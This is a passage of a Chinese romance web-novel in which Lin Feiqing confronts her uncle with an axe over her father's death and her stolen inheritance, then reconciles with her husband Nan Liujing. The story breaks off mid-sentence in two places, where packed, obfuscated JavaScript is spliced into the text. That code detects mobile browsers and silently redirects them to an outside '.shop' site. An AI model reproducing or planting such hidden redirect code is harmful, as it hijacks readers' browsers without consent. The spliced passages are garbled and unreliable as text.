很多事情便如一团混乱的毛球,起初或许不知如何下手,可一旦找到线头,余下便如抽丝剥茧般再简单不过。
“夫人,回府吗?”
林霏清掀开窗帘,冲外面的张姨轻轻挥了挥手,一边道:“不,去荷花村。”
其实从府里叫上些人会安全些,但林霏清觉得,她自己能解决好。
-
赵福一家从几个月前起就变得很是不顺。
赵栋当初出事后,何雁赵福寻了多少人,都说治不了。
只有一位郎中说能治,开口便要八百两。
寻常家庭哪里能拿得出来八百两?
赵福第一反应便是这人是骗子。
可没办法啊,何雁在那哭,这又是他们唯一的孩子,后半生的指望,难不成,真能让他废了?
后来又寻了很多人,也有说能治的,只是要价比八百两还要高。
相较之下,八百两好像也不是接受不了的价格了。
但他们还是没有八百两。
好在这时,林霏清出嫁了,嫁给了一个极有钱的男人。
这是她应该做的,只是让她掏点钱罢了,那可是养育之恩。
甚至掏的还不是她的钱。
何雁对此有些不安,于是赵福只好掰开了揉碎了同她讲道理。
伤赵栋的人是谁?
是林霏清。
那她为此负责,掏钱,不是应该的吗?
至于诊金八百却要两千两。
康复了之后难道不需要好好将养一阵子?
万一落下什么病根,娶妻之后不得多给姑娘家一点钱当做赔罪?
那金玉楼一月的租金便一万两,两千两算什么。
难道真要眼睁睁舍了这个机会,让儿子断子绝孙?
当然,到底要不要同林霏清要钱,是何雁的选择。
赵福不会逼她。
最终虽说经历了些许波折,但好在还是顺利筹到了钱。
郎中说,得先吃药将身子调养起来,而后才能治疗。
而在彻底治疗好之前,不会收他们的钱。
闻言赵福总算是放下心,相信这人不是骗子。
治疗进展的万分顺利,老天总算眷顾了他们一回,赵栋说,他能感觉自己身子正在变得越发康健。
很快到了诊疗最后一日,只要再施一回针,赵栋便能彻底康复。
可到了往常郎中来的时辰,却不见人影。
一日,两日……
起初他们还能安慰自己郎中多半是有事耽搁了,毕竟钱都没给,现在跑了可就什么都没了。
可直到第三日,赵栋的下身突然开始发疼,并流出腥臭浓烈的黑水。
赵栋吓傻了,何雁亦慌得不知该如何是好,忙催着赵福去燕都寻那郎中。
待去了燕都,才发现那郎中住处早已人去楼空。
屋漏偏逢连夜雨,就在赵福进京的当日,一伙官差来到赵福家,向何雁质询,是不是先前捡了一个装有八百多两银票的钱袋。
丢了钱袋的是个贵人,而那天正好有人看到了赵福捡起那钱袋。
几个官差持着银光烁烁的大刀,何雁不过小民,如何有胆子与之对抗,忙将本打算用以当诊金的钱袋拿了出来。
可官差查看后,便发现不对。
盘问后才得知,里头的钱已经被花去不少,只余下了正好八百两。
何雁无法,拿出存蓄补上这个窟窿,这才送走了人。
赵福回来时,便见何雁坐在赵栋床前,一边哭一边照顾赵栋。
问清缘由后,赵福苦笑道:“人都跑了,要那钱也没用了。”
何雁抬起被泪水浸透的脸:“你这是什么意思?”
赵福叹了口气,无力地坐在墙根:“人跑了。”
何雁“噌”地站起:“跑了?”话刚说出口,注意到赵栋好不容易睡着,又压下声音,“什么叫跑了,那栋儿怎么办?”
赵福已被这几天的事情压得喘不过气,闻言不耐道:“跑了就是跑了,你冲我嚷有什么用?就算人没跑,你还有钱付给人家?”
何雁怒道:“那你冲我嚷就有用了?现在到底怎么办啊?”
赵福低着头,知觉浑身上下的血都往脑子冲,冲得他眼前发黑。
他缓了缓,道:“上次林丫头来,你没跟她吵吧?”
何雁瞥他一眼:“您特意吩咐过,我哪敢啊?”
赵福头疼得很,没理会她的夹枪带棒,只道:“后面再去找她一次吧,那丫头耳根子软,好好说,能行的。”
事到如今,也只有这一个办法了。
何雁虽不忿,却也只能咬牙点了点头。
静默之中,突而听得窗外传来一声细碎的响动,两人此时都是惊弓之鸟,一点动静都吓得不行。
对视一眼,赵福起身:“我去瞧瞧。”
屋外一如进来时,赵福左右看了看,并无不妥,估摸着是窗外来了什么野物,打算驱逐后便返回屋内。
只是才踏进院中,却听得身后传来“咔哒”一声。
赵福回头,竟是本不该出现在此的林霏清。
他愣了愣,不确定方才他们在屋内的话是否落到林霏清耳中,试探道:“什么时候来的?”
林霏清不答,转过身,赵福这才注意到,方才那一声,是林霏清将赵栋房门上锁的声音。
现下何雁赵栋都被锁在屋内。
她想干什么?
没由来的,赵福心下突然有些慌乱。
“你这是干什么?”赵福再次询问。
这一阵,屋内的何雁已经反应过来不对,从里面敲了敲房门。
敲击声就发生在她两三寸之外,林霏清却好似没有听见似的,黑漆漆的瞳仁一眨不眨地盯着赵福。
“我有事想问问您。”
这样的情景下,她的声线依旧温和,驯顺,一如从前。
这种熟悉给了赵福底气,他皱起眉,厉声呵斥:“还不快把门打开。”
到底还顾及着要同林霏清要钱,他没说太多,只负着手,试图让林霏清知道,他生气了。
只是这底气在看到林霏清手中的东西时泄得一干二净。
她手里是柄斧头。
“麻烦您在堂屋坐下,我有事想问问您。”
林霏清再度温声开口,手中斧头挡在暗处,像随时可能咬上来的蛇。
赵福脑子瞬间一片空白,愣愣了许久,才终于正眼看向林霏清。
她好像又高了些,站在那里,脊梁挺直,一致的样貌,却好似彻头彻尾换了一个人。
一个会让他害怕的人。
几息之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839671|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,赵福依言,坐在了堂屋中。
何雁的撞门和呼喊声依旧能从细微处传来,但不论是赵福抑或林霏清,都没理会。
赵福:“你想问什么?”
她能问什么?
方才看到斧头时赵福的确有些恐慌,但这一会,他已然冷静下来。
一个丫头,还是他从小看到大的丫头,能问什么?
钱去哪了,当初为何要逼她嫁给栋儿……左不过这些琐事。
林霏清没坐,也没放下手中斧头,她站在赵栋面前,低睫看他。
“为何您当初没有参军?”
却不想林霏清第一句话,便让赵福愣在当场。
“你,你说什么?”
林霏清看着他,很好脾气地重复了一遍:“您当初,为何没有参军?”
为何?为何?
赵福浑身上下不可遏制的开始发抖,当初征兵,自然是征到他头上来了的,只是那时候栋儿还小,他不能让栋儿没有父亲。
于是就,想了个办法……
见他久久不语,林霏清只好换了个问题:“我父亲,明明已经有功名在身,为何会被征走?”
话音未落,赵福便大着声音道:“那自然是他自己打算去,难道还能是旁人逼他不成!”
林霏清皱了皱眉:“您冷静些,不要耍脾气。”
赵福却被她这质问的态度弄得火气上窜,猛地一拍桌子:“你爹活够了跟老子有什么关系,你要不满意下去找他去啊!”
他现在已经想不到要向林霏清要钱,只觉满身怒火得有个地方发泄出去。
“你爹死了是因为他自己想上战场,你娘死了是因为你爹死了!老子给你吃给你穿,你脑子有毛病过来跟我讨说法——”
“嘭——”
木桌应声碎裂,溅起的木屑横飞,割伤了赵福的手。
赵福愣在当场,僵硬着侧头去看。
泛着寒光的斧刃就停在他手边,只要稍稍偏一点,碎的就不是这张桌子了。
他一点一点转过头,看向林霏清。
林霏清缓缓收回斧头,盯着他,眼底一片冰凉:“我爹撂下妻女上战场,或许对不住我娘和我,但绝没有对不起你。”
她很不习惯这样大声说话,说罢上一句稍稍停顿片刻,又放低了声调:“我的问题,您若是愿意回答,回答便好,若不愿意,不说话也可以。”
赵福怔愣地看着她,鲜血从伤口处滴滴答答落在地面,何雁在屋内的喊声越发凄厉,可他却已经听不到了。
“当初征兵,有没有征到荷花村来?”林霏清问。
“有。”
“有没有征到您家里来?”
“……有。”
“但您现在还坐在这里,是因为我爹替了您吗?”
赵福低下头,没看林霏清,似乎是在解释,又像是在对自己说:“我没有让他替我去的打算,我只是有些怕,这很正常,上战场谁不怕,我想找人说说话,你外祖父他们去得早,我就只有你娘一个妹妹,去找他们诉诉苦也很应当不是吗?”
“你爹是秀才,有功名的,自然不理解我在担心什么,我们平民百姓上了战场只有死路一条,栋儿那时才八岁,没了父亲怎么活?你爹不一样,他是秀才,他有功名的,就算入伍,最多也是个写字的文职,没有危险的……”
“当然我没有让他替我的打算,那是我妹夫,我还能害他不成,是他主动提出来的。”
林霏清打断他:“好端端的我爹怎么会主动替你?”
赵福垂着头,看不清神色:“谁知道呢,显得他厉害吧。孔子还是哪个子不是说了吗,事诸兄,如事兄,我也算是他兄长,他是读书人,该明白道理。”
林霏清紧了紧手中斧柄,她没让赵福继续沉浸在情绪中,而是不带感情地继续问下去:“那我爹死后呢?抚恤金呢?”
据张姨所说,母亲是因过度劳累而病死的,父亲死后那些年,母亲始终在为生计困扰,若有抚恤金在,怎么也不至于早早病逝。
可抚恤金呢?若有,为何没听张姨提起?
赵福身形明显僵硬了一瞬,低着头,避而不谈。
答案显而易见。
林霏清闭了闭眼,就算早有预料,在真的确定这个消息时,第一想说出口的话仍是,你怎么能这么做?
那是你的亲妹妹,你怎么能,一点活路都不给她留?
她深深吸了几口气,压下心底那股想要劈砍斧头的冲动,并没有问出那句话。
这么久了,她还不知道她这舅舅吗?
就算她问出口,他也总有理由,他最无辜,他什么都不知道,世道对他最不公平,他总是被逼的。
再问下去也没有意义,不过是看他能给自己找多少借口罢了。
林霏清睁开眼,看着这个从记事起就在她身边的人。
“刚才有一瞬间我是想杀了你的,但不行,杀了你麻烦的是别人。”她轻声道。
赵福冷哼一声:“麻烦谁?你那个相好的?”到底顾忌着林霏清手中的斧头,他只敢嘴上骂骂咧咧,“你真以为跟了他你就能过上好日子了?别做梦了,你爹都不要你。”
或许因为被戳破,他干脆破罐子破摔:“也就我心善,把你带回来,不然你早死了。”
“你这种晦气的玩意,害了你娘你爹,现在害了我,你信不信,那姓南的也早晚会被你害死!”
林霏清静静看着赵福,只觉得他聒噪又可笑。
一个人得多无能,才能一辈子都没有承担过责任?
“我不会再见你了。”
林霏清轻声道,将斧头放回原处,任凭赵福还在后面吼叫,步履平稳地转身离去。
座上马车,没让车夫立刻启程,林霏清头靠在车壁上,长长舒了口气。
冷静下来后才意识到,她并没有多么难过,甚至连失望之类的情绪都没有。
她是真的没有家人了。
其实本来也没有。
这样看来,她也不需要浪费时间调节情绪。
不仅如此,南流景知道了她的隐瞒,估计也不会再留她。
片息之后,林霏清疲惫道:“回吧。”
-
在林霏清坐上马车后,一直跟在后头的银元便率先返回府上回禀了情况。
南流景现下行动只能依靠轮椅,好在府上常备着,也不至于手忙脚乱。
听罢银元的回复,南流景微微叹息:“拿斧头啊,还挺帅,只是没劈下去有点可惜。”
“不过能做到这份上,也很出乎意料了。”
他还担心她会心软。
南南流景沉吟片刻:“那刘大少下狱前跟赵栋有勾连是不是?”
银元:“是。”
“那勾连再深些也没关系。”南流景推着轮椅到窗前,看飞燕还巢在空中掠过一段简短的黑线。
到底还小,处理事情不够干净。
“立刻动手吗?”银元问道。
她前脚断了关系,后脚赵福家就下狱,傻子也能想出之间的联系。
南流景慢吞吞道:“不着急。”
25. 第 25 章
回到府上,林霏清只觉满身疲惫,她同秦柳道:“我今日有些累了,想早些睡,帮我告知灶房不用做晚膳了。”
草草洗漱罢上床时,西方天际才刚刚被染至金色。
这一觉睡了许久,翌日睁开眼时,离与师先生上课还有半个时辰。
起身,正好看到秦柳推门而入。
“您醒了?”秦柳笑道,“南大人说您再不起他就要同师先生告假了。”
林霏清脑袋有些发疼,只隐约听到后半句话,但她没有赖床的习惯,迅速起身道:“我马上收拾,不用告假。”
下床洗漱,将毛巾浸入水中,拧干,直到埋到毛巾中林霏清才突然察觉到不对。
她骤然清醒过来,看向秦柳:“谁说要帮我告假?”
她方才恍惚听见秦柳说了南流景。
听错了吧?
南流景好端端怎么会来看她有没有好好听学?
秦柳觉着好笑:“南大人,他在饭厅等您一起用膳。”
“……”林霏清愣住,有些不敢相信,“南大人在饭厅等我用膳?”
她以为昨天之后南流景应当不会再想见她了。
况且成亲这么久,两人同桌共食的次数一只手都数得过来。
不,重点在于,南流景怎么能来这里,他现在不是应该在榻上休息养伤吗?
秦柳正为林霏清挑选今日的衣装:“昨日晚间南大人也来过,只是那时您已睡下,南大人便吩咐不用打扰。”
这话一出,林霏清反倒冷静下来。
偶尔一次兴致使然还说得通,但连着两次来一道用膳,多半是有什么要紧事要与她说明。
她不再耽搁,迅速洗漱换衣前往饭厅,果不其然看到了在餐桌前,坐在轮椅上的南流景。
林霏清脚步微微顿了一下,又继续向前。
待她就坐,侍从便端着早膳鱼贯而入。
满目琳琅,不小的桌面很快摆得满满当当。
比林霏清平日独自用膳要多得多。
应当是为了南流景准备的。
林霏清看着满桌珍馐,突然又有些怀疑。
这么多吃的,南流景当真是有事寻她才来的吗?
她抬眼看了一眼对面,南流景已经神态自若地开始用膳。
许是注意到她的目光,南流景抬睫,对上她的视线,疑惑地扬了扬眉。
这桌子宽大,两人坐在两端,说话都得靠喊的,林霏清犹豫片息,微微摇头,低头夹了筷汤包。
气氛还算平静,如果忽视二人没有任何交流的话,甚至可以说是和谐。
可林霏清总觉得哪里不对。
没吃多少,便差不多到了去西厢房见师先生的时辰,林霏清看着对面的南流景,正犹豫着要不要同他说一声,却见南流景同样搁下筷子,擦了擦嘴,驶着轮椅到她身边:“今日还打算见师先生吗?”
林霏清不知他问这做什么,点头:“要去的。”
“……”
南流景微微偏头,定定看着她,好像有什么话想说。
如果南流景有什么要紧事要告诉她的话,现在就是最好的时候。
林霏清突然有些紧张。
四目相对。
原本掩藏的很好的古怪在此刻突然蔓延开来。
“怎么了吗?”林霏清强装镇定道。
须臾,南流景收回视线,有些玩味道:“没什么,只是再不走的话,就要迟了。”
“……”
林霏清猛然睁大眼,看向一旁的漏钟,正正好到巳时。
这个点,师先生已经在厢房里等着了。
来不及再考虑,林霏清匆匆起身向外。
踏入庭院,便看到师先生从西厢房出来,眉眼一如既往的冷淡。
看到她,师先生停下脚步。
“夫人,”她道,“您迟了。”
林霏清快走到师先生面前,低声道歉:“抱歉,让您久等了。”
师先生却摇摇头,目光落在林霏清身后:“错不在你。”
林霏清顺着她的视线看去,便见南流景从堂屋出来,眉眼含笑,冲师先生微微点了点头:“师先生好。”
也不知有没有听到师先生方才那句话。
林霏清距师先生极近,清楚听到她鼻间一声轻嗤。
师先生没回应南流景的问好,只看向林霏清:“进来吧。”
南流景被无视也不恼,只轻轻笑了笑,看两人进入厢房,便也不再停留,转身离去。
林霏清看着他的背影,心中疑云不仅没有散去,反而愈来愈浓。
南流景找她到底是要做什么的?
往后三天,南流景也早膳晚膳不落的与她一道。
林霏清甚至有些怀疑,若非她的午膳是与师先生一起,南流景也会来与她一起吃午膳的。
她的怀疑很快得到印证,在第四日休沐午膳时,林霏清再次在饭厅看到了那个熟悉的身影。
从荷花村回来起,林霏清便一直等着南流景来质问她,质问她的身份,质问她为何要欺骗。
林霏清已经做好了准备,就算南流景要打她,就算她要以欺君之罪被关到牢里,她都不怕了。
起先林霏清猜测,南流景表面来寻她吃饭,实际就是为了谈论此事。
故而每一次面对面用膳前,林霏清都会在心里做好准备。
可每一次,南流景都只是与她一起吃罢饭,最多说几句无关紧要的寒暄,便坐着轮椅离去。
不安在日复一日的落空中反复累积,已经到达一个临界点,直到这日午膳时,林霏清终于忍耐不住。
她打算主动与南流景摊牌。
可将要开口之时,却见南流景已经提起筷子。
到嘴边的话就这样咽了下去。
南流景身子弱,少有食欲好的时候,林霏清想让他多吃些。
应付般吃了几口,倒是南流景看出她兴致不高,主动道:“怎么了?”
林霏清将要开口,可看着南流景面前只用了小半碗的饭,还是摇了摇头。
再等等吧。
南流景沉默片刻:“不合胃口?”
林霏清又摇了摇头。
可低头看到只被碰了几下的菜,林霏清又觉得自己的反应不太有说服力。
南流景:“不是第一次了吧?”
林霏清茫然抬头:“什么?”
南流景定定看着她:“那次在酒楼也是,你好像,总是只吃菜?”
说是“好像”,但语气却分外笃定。
事情过去太久,林霏清已经想不起,只是回忆了下这几日与南流景共食,却发现自己的确如此。
但这只是一个无伤大雅的习惯。
她喜欢把爱吃的食物放在最后。
想了想,看南流景还有继续追问下去的打算,林霏清只好道:“只是想要,把最好的留在最后。不是都说,先苦后甜嘛?”
“……”话落,便听南流景嗤笑一声,“呆瓜。”
林霏清一僵,也觉得自己这畏畏缩缩的样子实在惹人厌烦,悻悻低下头。
却听对面又慢吞吞道:“你可以一直拥有最好的。”
林霏清愣了愣,第一反应便是否认。
她不配的。
可南流景的话又像是真心实意,林霏清做不到反驳他人的好意。
于是应和般笑了笑,什么都没有说。
只是心底,好似被什么戳了一下,泛起股酸涩。
林霏清觉得这样不对,她不能生出什么不该有的想法。
她应该,做些什么,控制住。
林霏清盯着碗边的花纹,突然道:“您这几日为何一直来呢?”
若要寻她说事根本用不着拖这么久。
比较合理的解释是,南流景得知她在欺骗,所以故意这样日复一日的来,试图以此戏耍她,让她不安惶恐。
他本就是爱之欲其生恶之欲其死的性子,得知被骗了,想要捉弄一下也很正常。
相比她犯下的错事,这样的手段称得上温和。
可方才南流景那样说,林霏清又觉得,自己这样揣测他,很不应该。
南流景很好。
甚至太好了些,对一个骗子都这样温和。
片刻后,南流景开口,语气散漫。
“我一个人吃饭会害怕。”
林霏清不解:“怕什么呢?”
南流景看着她,浅浅饮了口汤:“怕你一个人。”
林霏清怔住。
她想起几日前在书房,南流景根本没来得及看那册文书,却很清楚的知道父亲是秀才,也比她更迅速注意到其中的疑点。
先前她只以为是南流景聪明,可万一,他早就知道呢?
见林霏清陷入思绪,南流景微微叹息:“怎么?打扰到你了?”
林霏清回过神来,抬起头,却发现南流景一直在看着她。
哪怕对上视线,也没有一点要挪开的打算。
直白,坦荡。
四目相对。
林霏清抿唇,最终还是率先避开了目光。
她觉得喘不上来气,又有些难过。
只是这难过跟她从前在家里的难过不一样。
她切切实实感受到了,一种名为后悔的情绪。
她不该欺骗南流景的。
她不该冒名顶替的。
她哪里来的资格被这样温和对待?
南流景为何要对她这种人处处用心?
她是个什么东西?
她爹离开家时都没有考虑过她。
“其实,我一个人会更舒服些。”
林霏清不知道自己在说什么。
此时此刻,她满脑子只有一件事。
让南流景不要对她,这么好了。
他身上因她而负的伤还没好,他应该好好养伤,好好保养身体,而不是日日来到这里,强撑着与她一起用膳。
“行,我知道了。”
清越的声线将林霏清拉回神。
她呼吸一滞,看见南流景擦了擦唇。
动作一如既往的从容优雅。
他好像不打算再说别的话。
林霏清偏开眼,不敢看他的神情,余光却不由自主留意他的动作。
看南流景撂下锦帕,慢慢地操纵着轮椅从桌前移开。
这轮椅跟了他许久,行动间如天生腿脚般自然,可林霏清瞧他清瘦的身形,却还是觉得他辛苦得很。
林霏清坐在原处,盯着面前一桌饭菜,双手紧紧攥着膝上衣物。
一直到南流景彻底离开屋子,才猛然松了口气。
看到对面只吃了小半碗的米饭。
林霏清又有些懊丧。
她该晚些说,让南流景多吃点的。
-
或许是听进去了林霏清的话,往后几日南流景再未来过。
时间一晃而过,到了九月十五,林霏清去金玉楼送货,这次,挣得的银两不用再分成两份了。
林霏清打算离开时,却听得有人唤她。
回头,是那日在赏荷宴见过的胡小姐。
林霏清对赏荷宴发生的事印象颇深,打过招呼后忍不住询问道:“那日崔小姐怎么样了?”
胡挽月目光在她面上停了停,这才道:“您不必忧心,府医瞧过,那一跤不碍事,走路行动小心些,两三日便好了。”
林霏清想问的并非这个,却又不知如何开口,只好略过这个话题,简单寒暄几句后便打算离开,却听得胡小姐道:
“中秋那日没见到夫人实在可惜,下月我祖父生辰,会往府上寄请帖,不知那时南大人有没有从燕珠回来。”胡挽月停了停,抬睫飞快地看了一眼林霏清,又底下眼,声音渐小,“不过,南大人没回来也没关系,您来了就好……”
林霏清在胡小姐说前半句时便愣住了,还是身后秦柳轻咳一声让她回神,见胡小姐还期待地等着她回应,胡乱点了点头,又与胡小姐闲叙片刻,这才告别。
坐在马车之上,林霏清才有精力去想方才的事。
南流景这么久没回府,是去了燕珠,连胡小姐都知道,那多半是为了公务,而非因为她的话太过分。
林霏清稍稍松了口气。
可是……
就算南流景是为了公务离开,也不代表她的话没有伤害到他。
那日南流景离开时她没看细看,后来反复回忆起,只能猜测他当时的心情。
那样骄傲的人,好心却被这样践踏,他会不会失落,会不会委屈?
他甚至没等来道歉,便得匆匆往南边去,他身子那么弱,路途遥远,又是一阵磋磨。
这些事情不能细想,一想,林霏清就觉得自己罪大恶极。
不论如何,得先向南流景道歉。
然后,还要同他坦白事情的真相。
回府后,林霏清稍稍打探了下,得知南流景归日在小雪。
说是打探其实也不对,因为林霏清只是寻了个二院管事问了一下,那管事根本没有遮掩的意图,一股脑把他知道的全都告知了林霏清。
关于南流景的很多事情就在触手可及的地方,只是她从前从不在意。
日复一日间,小雪悄然降临。
那日天气及其晴朗,想着南流景回京后还得先进宫,林霏清便也不着急,用罢膳食在廊下等待。
秦柳帮她在前院看着,一有消息便来通知她。
漏钟一点点转过,立冬后天黑的早,外头渐渐冷下来,林霏清抱着手炉也觉得冷,干脆让秦柳去睡,自己守在前院,这样南流景一回来她就能看到。
这一等便等了许久,一直到天彻底黑了,林霏清在椅上昏昏欲睡,将梦将醒之间,突然听得外面传来一阵动静。
睁开眼,便看见许久不见的南流景与银元一道从院中进来。
林霏清立刻清醒过来。
南流景腰上的伤还没好,坐在轮椅上,低着头,肩上披着厚厚的鹤氅,漆黑的绒羽间,以白色星星点点的点缀着。
再仔细看去,却发现并非点缀,而是雪碎落在他肩头。
下雪了。
林霏清忙起身上前,将暖呼呼的手炉递给银元,从他手中接
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844026|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过轮椅:“这么晚,是出了什么事吗?”
银元:“大人参加了场酒局,才散。”
林霏清讶然:“他喝醉了吗?”
“没醉。”
声音是从前头传来的。
清洌洌的,比雪还要凉几分。
林霏清看向银元:“那你们现在可以休息了吗?”
银元:“我还有些事需要收尾,既然您在,就麻烦您带大人回院。”
“好。”林霏清点头,目送银元转身离去,背影彻底消失在白雪纷飞间。
雪有愈下愈大之势,林霏清低头,看南流景哪怕披着鹤氅依旧掩饰不住的单薄肩头,那股熟悉的酸涩再次蔓延开来。
她没再犹豫,手上用力,很快踩着雪道将南流景推回他自己的院子。
立冬之后,院内便做好了过冬的准备,屋内温暖如春,林霏清猜测南流景现在还行动不便,便蹲在他面前欲帮他褪去大氅。
只是指尖才搭上系带,便被南流景抬手拂开。
林霏清一顿,抬睫看向他。
能看出来他喝了酒。
素日苍白的皮肤上蒙了一层海棠似的绯红,自面颊一路蔓延至眼尾,模糊掉五官的锐利,长睫低垂,加上温暖的肤色,使他整个人体现出一股从未有过的柔软。
林霏清甚至生出种错觉,要是她强硬一点,坚持帮南流景褪去大氅,他也不会生气。
可这到底只是想想而已,林霏清蹲在南流景面前,等了一会,见他没有下一步动作,轻声询问:“我帮您去洗漱?”
先前她想着南流景回来后就道歉,可现在他饮了酒,也不知能不能听进去她的话。
方才在院中南流景很果断地说他没醉,但据林霏清了解,醉鬼也会说自己没醉。
“先等等。”南流景闭了闭眼,“有点头疼。”
头疼这事可大可小,林霏清瞬间紧绷起来:“我去找金太医。”
说着便要动身,却被南流景制止:“我不想见他。”
林霏清:“……嗯?”
南流景却没在这个话题上继续:“你来寻我什么事?”
林霏清僵住,不知南流景怎么看出来的。
像是知道她在想什么,南流景倏然抬眼,眼神清明,先前所谓柔软的错觉被瞬间打破:“我又没醉,总不能连这个都看不出来。”他又问了一遍,“有什么事?”
林霏清默了默,转过身面向他:“我想同您道歉。”
这话在心底已经准备许久,现在无比自然地说出了口。
“唔?”南流景扬眉,“道什么歉?”
屋外白雪簌簌落下,林霏清迎上南流景的目光,一字一句认真道:“我之前说,一个人更自在些,让您伤心了。其实我不觉得您打扰,您能为我考虑,我很高兴。”
跟从前在家里道歉时的感觉不一样。
像压在身上的巨石被挪开,整个人都松快了许多。
可南流景却只定定看着她,他冷脸时颇有压迫感,像是对世上一切都不满似的。
林霏清有些茫然,很快又反应过来。
是自己的道歉不够诚恳,按理说,道完歉后,还需要做些什么来赔罪。
可这么久,她好像也不了解南流景有什么喜好。
哦,除了金子。
林霏清试探着开口:“我上个月卖口脂得了一百两,算上先前的,差不多一百六十八两,不过是银子,您看,行不行?”
南流景眉头微拧:“什么行不行?”
林霏清有些手足无措,结结巴巴道:“就是,赔罪,我感觉您应该喜欢这个。”
“……”
气氛安静的有些尴尬。
南流景揉了揉自己的额头,开口时,语气不再平稳,反而有些匪夷所思:“你也喝了?”
“啊?”
顿了顿,南流景放下手,只是表情仍有些僵硬:“你先,帮我倒杯水。”
“好。”林霏清迅速去桌边斟了杯水递到他手边。
南流景抿了一口,轻舒了口气,将茶杯搁置一旁,这一会,他看起来已经冷静了许多。
“那么点钱是没办法让我高兴的。”他望进她的眼,清越的声音与屋外雪声融在一起,“但想让我高兴也不是没有办法。”
林霏清做出洗耳恭听的模样,南流景却未直言,而是摆了摆手示意她近些。
直到林霏清蹲在他手边,南流景才开口:“你方才说,我为你考虑,你很高兴。”
林霏清看着他,轻轻点了点头。
南流景又问道:“那我先前与你一道用膳,打扰到你了吗?”
这些日子,那日情景反复在林霏清脑海中回荡,这个问题也被反复在心底问起。
当时她说了假话,现在她不能再欺骗自己了。
“没有。”林霏清垂睫,低声道。
下一瞬,冰凉的手捏住她的下颌,稍稍用力向上抬起。
四目相对。
南流景微微直起身,他的动作有些粗鲁,神情却称得上温和:“我没听清,再说一遍?”
林霏清看着他那双泛灰的瞳孔,不自觉地滑动了一下喉咙,低声道:“没有。”
话落,南流景漂亮的眼中泛起些微笑意:“那还想让我与你一道吗?”
手中温软的肌肤陡然颤了颤,察觉林霏清所想,南流景凑近了些,鼻尖几乎碰到她的鼻尖:“想要什么得说出来,嗯?”
语调低沉,带着微微的沙哑,几乎像是诱哄。
林霏清的呼吸不可遏制地错乱了一瞬,南流景触碰她的手修长秀气,只要稍稍用力便可挣脱他的钳制,可此时此刻她脑中只余下一片空白。
“没关系,说出来就可以。”见她不语,南流景没有丁点不耐,再度劝道,语气甚至有些黏腻。
他的气息铺天盖地包裹住她,清冽的药香与酒气混在一起,奇异的并不难闻,林霏清不知道南流景喝了多少,只是现在,她也有些晕乎乎的。
屋外雪越下越大,她的掌心却都冒出了汗。
“我想您以后……”林霏清声音发颤,受蛊惑般开口,“能与我一起用膳。”
话落,世界仿佛都安静了下来。
扑通。
扑通。
心跳声若擂鼓。
林霏清回过神来,意识到自己方才说了什么,一个激灵,差点跌坐在地。
别慌,别慌,南流景又不会因为她想要什么就斥责她。
勉强安慰住自己,虽说很快冷静下来,林霏清的手仍是不可控地微微颤抖。
而在余光看到南流景抬起手时,更是下意识闭了闭眼。
直到察觉冰凉的指节顺过她的头发。
睁眼,南流景已经重新靠回椅背上,一手一点一点帮她整理好发丝。
“可以。以后想要什么都可以直接说。”他道,“不早了,你该回去休息了。”
话虽这么说,可他的手仍未收回。
林霏清蹲在原地,同样没有动身的打算。
“南老板,”她轻声道,心跳越来越快,“我还有一件事没有告诉你。”